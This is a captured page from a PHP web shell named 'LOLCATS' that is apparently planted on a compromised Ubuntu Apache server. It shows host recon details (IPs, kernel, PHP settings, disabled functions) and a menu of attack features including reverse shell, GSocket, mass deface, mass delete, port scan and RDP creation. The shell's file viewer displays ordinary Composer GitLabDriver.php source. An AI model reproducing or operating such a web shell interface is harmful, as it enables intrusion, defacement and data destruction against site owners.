LOLCATS

: /usr/share/php/Composer/Repository/Vcs/ [ drwxr-xr-x ]

Information Server

System: Linux addobyte 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP Version: 7.4.33 PHP Os: Linux
Server IP: 104.21.60.170 [ Unknown Location ]
Your IP: 216.73.217.94 [ Unknown Location ]
User: www-data [33] | Group: [www-data] [33]
Safe Mode: OFF
MYSQL: OFF | PERL: OFF | PYTHON: OFF | WGET: OFF | CURL: ON | GCC: OFF | PKEXEC: OFF
Disable Function:

mail,mb_send_mail,imap_mail,error_log,exec,shell_exec,system,passthru,proc_open,popen,pcntl_exec,dl,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals

Command OFF Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: GitLabDriver.php

<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Repository\Vcs;

use Composer\Config;
use Composer\Cache;
use Composer\IO\IOInterface;
use Composer\Json\JsonFile;
use Composer\Downloader\TransportException;
use Composer\Util\RemoteFilesystem;
use Composer\Util\GitLab;

/**
 * Driver for GitLab API, use the Git driver for local checkouts.
 *
 * @author Henrik Bjørnskov <henrik@bjrnskov.dk>
 * @author Jérôme Tamarelle <jerome@tamarelle.net>
 */
class GitLabDriver extends VcsDriver
{
    private $scheme;
    private $namespace;
    private $repository;

/**
     * @var array Project data returned by GitLab API
     */
    private $project;

/**
     * @var array Keeps commits returned by GitLab API
     */
    private $commits = array();

/**
     * @var array List of tag => reference
     */
    private $tags;

/**
     * @var array List of branch => reference
     */
    private $branches;

/**
     * Git Driver
     *
     * @var GitDriver
     */
    protected $gitDriver;

/**
     * Defaults to true unless we can make sure it is public
     *
     * @var bool defines whether the repo is private or not
     */
    private $isPrivate = true;

/**
     * @var bool true if the origin has a port number or a path component in it
     */
    private $hasNonstandardOrigin = false;

const URL_REGEX = '#^(?:(?P<scheme>https?)://(?P<domain>.+?)(?::(?P<port>[0-9]+))?/|git@(?P<domain2>[^:]+):)(?P<parts>.+)/(?P<repo>[^/]+?)(?:\.git|/)?$#';

/**
     * Extracts information from the repository url.
     *
     * SSH urls use https by default. Set "secure-http": false on the repository config to use http instead.
     *
     * {@inheritDoc}
     */
    public function initialize()
    {
        if (!preg_match(self::URL_REGEX, $this->url, $match)) {
            throw new \InvalidArgumentException('The URL provided is invalid. It must be the HTTP URL of a GitLab project.');
        }

$guessedDomain = !empty($match['domain']) ? $match['domain'] : $match['domain2'];
        $configuredDomains = $this->config->get('gitlab-domains');
        $urlParts = explode('/', $match['parts']);

$this->scheme = !empty($match['scheme'])
            ? $match['scheme']
            : (isset($this->repoConfig['secure-http']) && $this->repoConfig['secure-http'] === false ? 'http' : 'https')
        ;
        $this->originUrl = $this->determineOrigin($configuredDomains, $guessedDomain, $urlParts, $match['port']);

if (false !== strpos($this->originUrl, ':') || false !== strpos($this->originUrl, '/')) {
            $this->hasNonstandardOrigin = true;
        }

$this->namespace = implode('/', $urlParts);
        $this->repository = preg_replace('#(\.git)$#', '', $match['repo']);

$this->cache = new Cache($this->io, $this->config->get('cache-repo-dir').'/'.$this->originUrl.'/'.$this->namespace.'/'.$this->repository);

$this->fetchProject();
    }

/**
     * Updates the RemoteFilesystem instance.
     * Mainly useful for tests.
     *
     * @internal
     */
    public function setRemoteFilesystem(RemoteFilesystem $remoteFilesystem)
    {
        $this->remoteFilesystem = $remoteFilesystem;
    }

/**
     * {@inheritDoc}
     */
    public function getComposerInformation($identifier)
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getComposerInformation($identifier);
        }

if (!isset($this->infoCache[$identifier])) {
            if ($this->shouldCache($identifier) && $res = $this->cache->read($identifier)) {
                return $this->infoCache[$identifier] = JsonFile::parseJson($res);
            }

$composer = $this->getBaseComposerInformation($identifier);

if ($composer) {
                // specials for gitlab (this data is only available if authentication is provided)
                if (!isset($composer['support']['issues']) && isset($this->project['_links']['issues'])) {
                    $composer['support']['issues'] = $this->project['_links']['issues'];
                }
                if (!isset($composer['abandoned']) && !empty($this->project['archived'])) {
                    $composer['abandoned'] = true;
                }
            }

if ($this->shouldCache($identifier)) {
                $this->cache->write($identifier, json_encode($composer));
            }

$this->infoCache[$identifier] = $composer;
        }

return $this->infoCache[$identifier];
    }

/**
     * {@inheritdoc}
     */
    public function getFileContent($file, $identifier)
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getFileContent($file, $identifier);
        }

// Convert the root identifier to a cacheable commit id
        if (!preg_match('{[a-f0-9]{40}}i', $identifier)) {
            $branches = $this->getBranches();
            if (isset($branches[$identifier])) {
                $identifier = $branches[$identifier];
            }
        }

$resource = $this->getApiUrl().'/repository/files/'.$this->urlEncodeAll($file).'/raw?ref='.$identifier;

try {
            $content = $this->getContents($resource);
        } catch (TransportException $e) {
            if ($e->getCode() !== 404) {
                throw $e;
            }

return null;
        }

return $content;
    }

/**
     * {@inheritdoc}
     */
    public function getChangeDate($identifier)
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getChangeDate($identifier);
        }

if (isset($this->commits[$identifier])) {
            return new \DateTime($this->commits[$identifier]['committed_date']);
        }

return new \DateTime();
    }

/**
     * {@inheritDoc}
     */
    public function getRepositoryUrl()
    {
        return $this->isPrivate ? $this->project['ssh_url_to_repo'] : $this->project['http_url_to_repo'];
    }

/**
     * {@inheritDoc}
     */
    public function getUrl()
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getUrl();
        }

return $this->project['web_url'];
    }

/**
     * {@inheritDoc}
     */
    public function getDist($identifier)
    {
        $url = $this->getApiUrl().'/repository/archive.zip?sha='.$identifier;

return array('type' => 'zip', 'url' => $url, 'reference' => $identifier, 'shasum' => '');
    }

/**
     * {@inheritDoc}
     */
    public function getSource($identifier)
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getSource($identifier);
        }

return array('type' => 'git', 'url' => $this->getRepositoryUrl(), 'reference' => $identifier);
    }

/**
     * {@inheritDoc}
     */
    public function getRootIdentifier()
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getRootIdentifier();
        }

return $this->project['default_branch'];
    }

/**
     * {@inheritDoc}
     */
    public function getBranches()
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getBranches();
        }

if (!$this->branches) {
            $this->branches = $this->getReferences('branches');
        }

return $this->branches;
    }

/**
     * {@inheritDoc}
     */
    public function getTags()
    {
        if ($this->gitDriver) {
            return $this->gitDriver->getTags();
        }

if (!$this->tags) {
            $this->tags = $this->getReferences('tags');
        }

return $this->tags;
    }

/**
     * @return string Base URL for GitLab API v3
     */
    public function getApiUrl()
    {
        return $this->scheme.'://'.$this->originUrl.'/api/v4/projects/'.$this->urlEncodeAll($this->namespace).'%2F'.$this->urlEncodeAll($this->repository);
    }

/**
     * Urlencode all non alphanumeric characters. rawurlencode() can not be used as it does not encode `.`
     *
     * @param  string $string
     * @return string
     */
    private function urlEncodeAll($string)
    {
        $encoded = '';
        for ($i = 0; isset($string[$i]); $i++) {
            $character = $string[$i];
            if (!ctype_alnum($character) && !in_array($character, array('-', '_'), true)) {
                $character = '%' . sprintf('%02X', ord($character));
            }
            $encoded .= $character;
        }

return $encoded;
    }

/**
     * @param string $type
     *
     * @return string[] where keys are named references like tags or branches and the value a sha
     */
    protected function getReferences($type)
    {
        $perPage = 100;
        $resource = $this->getApiUrl().'/repository/'.$type.'?per_page='.$perPage;

$references = array();
        do {
            $data = JsonFile::parseJson($this->getContents($resource), $resource);

foreach ($data as $datum) {
                $references[$datum['name']] = $datum['commit']['id'];

// Keep the last commit date of a reference to avoid
                // unnecessary API call when retrieving the composer file.
                $this->commits[$datum['commit']['id']] = $datum['commit'];
            }

if (count($data) >= $perPage) {
                $resource = $this->getNextPage();
            } else {
                $resource = false;
            }
        } while ($resource);

return $references;
    }

protected function fetchProject()
    {
        // we need to fetch the default branch from the api
        $resource = $this->getApiUrl();
        $this->project = JsonFile::parseJson($this->getContents($resource, true), $resource);
        if (isset($this->project['visibility'])) {
            $this->isPrivate = $this->project['visibility'] !== 'public';
        } else {
            // client is not authendicated, therefore repository has to be public
            $this->isPrivate = false;
        }
    }

protected function attemptCloneFallback()
    {
        try {
            if ($this->isPrivate === false) {
                $url = $this->generatePublicUrl();
            } else {
                $url = $this->generateSshUrl();
            }

// If this repository may be private and we
            // cannot ask for authentication credentials (because we
            // are not interactive) then we fallback to GitDriver.
            $this->setupGitDriver($url);

return;
        } catch (\RuntimeException $e) {
            $this->gitDriver = null;

$this->io->writeError('<error>Failed to clone the '.$url.' repository, try running in interactive mode so that you can enter your credentials</error>');
            throw $e;
        }
    }

/**
     * Generate an SSH URL
     *
     * @return string
     */
    protected function generateSshUrl()
    {
        if ($this->hasNonstandardOrigin) {
            return 'ssh://git@'.$this->originUrl.'/'.$this->namespace.'/'.$this->repository.'.git';
        }

return 'git@' . $this->originUrl . ':'.$this->namespace.'/'.$this->repository.'.git';
    }

protected function generatePublicUrl()
    {
        return $this->scheme . '://' . $this->originUrl . '/'.$this->namespace.'/'.$this->repository.'.git';
    }

protected function setupGitDriver($url)
    {
        $this->gitDriver = new GitDriver(
            array('url' => $url),
            $this->io,
            $this->config,
            $this->process,
            $this->remoteFilesystem
        );
        $this->gitDriver->initialize();
    }

/**
     * {@inheritDoc}
     */
    protected function getContents($url, $fetchingRepoData = false)
    {
        try {
            $res = parent::getContents($url);

if ($fetchingRepoData) {
                $json = JsonFile::parseJson($res, $url);

// Accessing the API with a token with Guest (10) access will return
                // more data than unauthenticated access but no default_branch data
                // accessing files via the API will then also fail
                if (!isset($json['default_branch']) && isset($json['permissions'])) {
                    $this->isPrivate = $json['visibility'] !== 'public';

$moreThanGuestAccess = false;
                    // Check both access levels (e.g. project, group)
                    // - value will be null if no access is set
                    // - value will be array with key access_level if set
                    foreach ($json['permissions'] as $permission) {
                        if ($permission && $permission['access_level'] > 10) {
                            $moreThanGuestAccess = true;
                        }
                    }

if (!$moreThanGuestAccess) {
                        $this->io->writeError('<warning>GitLab token with Guest only access detected</warning>');

return $this->attemptCloneFallback(); 
                    }
                }

// force auth as the unauthenticated version of the API is broken
                if (!isset($json['default_branch'])) {
                    if (!empty($json['id'])) {
                        $this->isPrivate = false;
                    }

throw new TransportException('GitLab API seems to not be authenticated as it did not return a default_branch', 401);
                }
            }

return $res;
        } catch (TransportException $e) {
            $gitLabUtil = new GitLab($this->io, $this->config, $this->process, $this->remoteFilesystem);

switch ($e->getCode()) {
                case 401:
                case 404:
                    // try to authorize only if we are fetching the main /repos/foo/bar data, otherwise it must be a real 404
                    if (!$fetchingRepoData) {
                        throw $e;
                    }

if ($gitLabUtil->authorizeOAuth($this->originUrl)) {
                        return parent::getContents($url);
                    }

if (!$this->io->isInteractive()) {
                        return $this->attemptCloneFallback();
                    }
                    $this->io->writeError('<warning>Failed to download ' . $this->namespace . '/' . $this->repository . ':' . $e->getMessage() . '</warning>');
                    $gitLabUtil->authorizeOAuthInteractively($this->scheme, $this->originUrl, 'Your credentials are required to fetch private repository metadata (<info>'.$this->url.'</info>)');

return parent::getContents($url);

case 403:
                    if (!$this->io->hasAuthentication($this->originUrl) && $gitLabUtil->authorizeOAuth($this->originUrl)) {
                        return parent::getContents($url);
                    }

if (!$this->io->isInteractive() && $fetchingRepoData) {
                        return $this->attemptCloneFallback();
                    }

throw $e;

default:
                    throw $e;
            }
        }
    }

/**
     * Uses the config `gitlab-domains` to see if the driver supports the url for the
     * repository given.
     *
     * {@inheritDoc}
     */
    public static function supports(IOInterface $io, Config $config, $url, $deep = false)
    {
        if (!preg_match(self::URL_REGEX, $url, $match)) {
            return false;
        }

$scheme = !empty($match['scheme']) ? $match['scheme'] : null;
        $guessedDomain = !empty($match['domain']) ? $match['domain'] : $match['domain2'];
        $urlParts = explode('/', $match['parts']);

if (false === self::determineOrigin((array) $config->get('gitlab-domains'), $guessedDomain, $urlParts, $match['port'])) {
            return false;
        }

if ('https' === $scheme && !extension_loaded('openssl')) {
            $io->writeError('Skipping GitLab driver for '.$url.' because the OpenSSL PHP extension is missing.', true, IOInterface::VERBOSE);

return false;
        }

return true;
    }

private function getNextPage()
    {
        $headers = $this->remoteFilesystem->getLastHeaders();
        foreach ($headers as $header) {
            if (preg_match('{^link:\s*(.+?)\s*$}i', $header, $match)) {
                $links = explode(',', $match[1]);
                foreach ($links as $link) {
                    if (preg_match('{<(.+?)>; *rel="next"}', $link, $match)) {
                        return $match[1];
                    }
                }
            }
        }
    }

/**
     * @param  array       $configuredDomains
     * @param  string      $guessedDomain
     * @param  array       $urlParts
     * @return bool|string
     */
    private static function determineOrigin(array $configuredDomains, $guessedDomain, array &$urlParts, $portNumber)
    {
        $guessedDomain = strtolower($guessedDomain);

if (in_array($guessedDomain, $configuredDomains) || ($portNumber && in_array($guessedDomain.':'.$portNumber, $configuredDomains))) {
            if ($portNumber) {
                return $guessedDomain.':'.$portNumber;
            }
            return $guessedDomain;
        }

if ($portNumber) {
            $guessedDomain .= ':'.$portNumber;
        }

while (null !== ($part = array_shift($urlParts))) {
            $guessedDomain .= '/' . $part;

if (in_array($guessedDomain, $configuredDomains) || ($portNumber && in_array(preg_replace('{:\d+}', '', $guessedDomain), $configuredDomains))) {
                return $guessedDomain;
            }
        }

return false;
    }
}

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
BitbucketDriver.php	f!le	2020-03-15 1:16	13.45 KB	root / root	-rw-r--r--
FossilDriver.php	f!le	2020-03-15 1:16	7.29 KB	root / root	-rw-r--r--
GitBitbucketDriver.php	f!le	2020-03-15 1:16	2.33 KB	root / root	-rw-r--r--
GitDriver.php	f!le	2020-03-15 1:16	6.68 KB	root / root	-rw-r--r--
GitHubDriver.php	f!le	2020-03-15 1:16	19.49 KB	root / root	-rw-r--r--
GitLabDriver.php	f!le	2020-03-15 1:16	17.58 KB	root / root	-rw-r--r--
HgBitbucketDriver.php	f!le	2020-03-15 1:16	2.32 KB	root / root	-rw-r--r--
HgDriver.php	f!le	2020-03-15 1:16	6.84 KB	root / root	-rw-r--r--
PerforceDriver.php	f!le	2020-03-15 1:16	3.84 KB	root / root	-rw-r--r--
SvnDriver.php	f!le	2020-03-15 1:16	11.91 KB	root / root	-rw-r--r--
VcsDriver.php	f!le	2020-03-15 1:16	4.84 KB	root / root	-rw-r--r--
VcsDriverInterface.php	f!le	2020-03-15 1:16	3.12 KB	root / root	-rw-r--r--

ÿØÿî